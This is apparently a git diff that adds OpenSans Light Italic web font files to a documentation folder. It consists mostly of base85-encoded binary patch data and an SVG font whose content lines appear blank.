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 Z%0#`NexefPFV?Xj51H#Y#AC7WXn+Jg($4?@ literal 0 HcmV?d00001 diff --git a/docs/fonts/OpenSans-LightItalic-webfont.svg b/docs/fonts/OpenSans-LightItalic-webfont.svg new file mode 100644 index 000000000..431d7e354 --- /dev/null +++ b/docs/fonts/OpenSans-LightItalic-webfont.svg @@ -0,0 +1,1835 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-LightItalic-webfont.woff b/docs/fonts/OpenSans-LightItalic-webfont.woff new file mode 100644 index 0000000000000000000000000000000000000000..43e8b9e6cc061ff17fd2903075cbde12715512b3 GIT binary patch literal 23400 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 